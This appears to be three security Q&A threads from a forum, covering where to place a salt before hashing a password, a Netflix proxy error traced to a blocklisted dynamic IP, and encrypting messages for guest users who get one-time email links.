Salt placement prior to one-way hash In one-way hashing its common to prepend or append the salt to the secret and then hash it: (salt + secret) or (secret + salt). I was thinking of this metaphor as salt falling on a plate of food. It of course doesn't all fall either at the beginning or all at the end of the plate.

Is there any security benefit if instead I were to randomly distribute the salt within the secret like below?

Simple example where salt is distributed every other letter:

Salt = lk2jn35
Secret = hello
Salted = lhke2ljlno35

I’m sure I could also come up with a “mask” variable that describes the distribution of the salt in the secret and the distribution of the salt itself could become random like this:

Salt = lk2jn35
Secret = hello
SaltMask = 010011101011
Salted = hlelk2jlno35

The question though does this have any additional security benefit above and beyond the traditional prepend or append method?

How the salt and the password are mixed together has no importance whatsoever IF the hash function is "perfect" (i.e. is a random oracle). However, perfect hash functions don't really exist; we don't even known if even "slightly imperfect" hash functions can exist at all (functions which are not random oracles but still guaranteed to be preimage-resistant). Practical hash functions have "quirks" which relate to their internal structure, and must be avoided by taking care of how the input is prepared. It is extremely hard to tell which way to combine password and salt is better, so the normal way is to leave it to trained cryptographers. These people have come up, after decades of work, with some constructions which seem to be strong, and it is improbable that a lone developer could come up with something significantly better by slapping together one or two functions.

In any case, even if your method of mixing the password and the salt is good (it may be good, but it is hard to know for sure), your function is still way too fast. You should have thousands or even millions of nested hash function invocations here, because a password hashing function ought to be inherently slow. See this answer for a complete treatment of the question.


How can I find an unauthorized/unknown proxy on my home network? I recently started receiving an error while trying to stream netflix that I'm using a proxy. Exactly this error code here: https://help.netflix.com/en/node/277?ba=GSButtonClick&q=

My problem is that I'm not using a proxy (or an 'unblocker')! I'm just connecting through my ISP (Comcast).

How can I pinpoint the root of the problem, whatever proxy my internet is going through?

The error occurs both on my laptop, xbox (in netflix application) and iPad (in netflix app). The rest of the internet works perfectly fine and fast.

Edit: Just found out that my roommate can stream Netflix just fine with his account on the same home wifi network. I'm officially completely confused.

You should check whether your current IP is on a proxy list. Since your IP address is assigned dynamically, it could be that the former owner got himself onto a proxy list - these lists get generically blocked by many pages.

It is, however, easier, just to get a new IP and try again.


Encryption and guest users I have a website where a registered user can exchange any number of offline messages with a guest. The guest only has to enter his e-mail address and should not have to create an account. The messages should be stored encrypted on the server. If there is a new message for the guest, he should only receive a one-time link by e-mail, with which he can decrypt the messages.

The requirement should only be that a hacker who steals the database cannot decrypt the messages. I thought I'd use a public/private key method and attach the private key as a GET parameter to the https link. It is never stored anywhere at any time and is only in RAM. The problem is that the private key is very long and of course I don't feel good about transferring the private key to the server.

Is there another (better) way, without any password input, or client software, just with a link via email?

There seems to be a flaw in the design of this system.

If you want to guarantee (to a reasonable extent) that the only person who reads the message is the user who enters their e-mail address, then the user must provide their public key and your server should encrypt the message using that key. It will be responsibility of users to decrypt the messages.

Otherwise something else needs to decrypt messages for users and therefore needs to have access to private keys. If your threat model includes the risk of the database being stolen than the same way that other system that will be decrypting messages could also be stolen, including the keys.

  Is there another (better) way, without any password input, or client software, just with a link via email?

In this case the e-mail becomes "the key" because it is the only information that is required to obtain the cleartext message. Therefore you system becomes as (in)secure as the e-mail message and its delivery.